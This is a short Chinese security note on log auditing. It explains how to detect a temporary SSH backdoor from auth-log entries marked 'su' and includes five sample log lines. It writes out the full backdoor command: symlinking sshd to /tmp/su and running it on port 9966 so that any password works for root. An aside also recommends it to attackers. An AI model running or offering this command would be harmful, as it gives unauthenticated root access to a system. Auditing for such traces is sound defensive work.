SSH临时开启端口的日志监控

前三条日志的特征是由su产生，后两条是正常登陆为sshd服务登陆。前三条是由于以下命令导致 （ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=9966；该命令会临时创建一个可以ssh的端口，最主要的是任意密码即可登陆，经常拿shell的人可以了解一下，），作为日志审计系统尤其要关注此类特征日志。

Jun 20 12:47:14 station1 su[12687]: Accepted password for root from 115.28.231.180 port 51459 ssh2

Jun 20 12:47:14 station1 su[12687]: pam_unix(su:session): session opened for user root by (uid=0)

Jun 20 12:47:14 station1 su[12687]: error: ssh_selinux_setup_pty: security_compute_relabel: Invalid argument

Jun 20 12:48:26 station1 sshd[12785]: Accepted password for root from 115.28.231.180 port 51507 ssh2

Jun 20 12:48:26 station1 sshd[12785]: pam_unix(sshd:session): session opened for user root by (uid=0)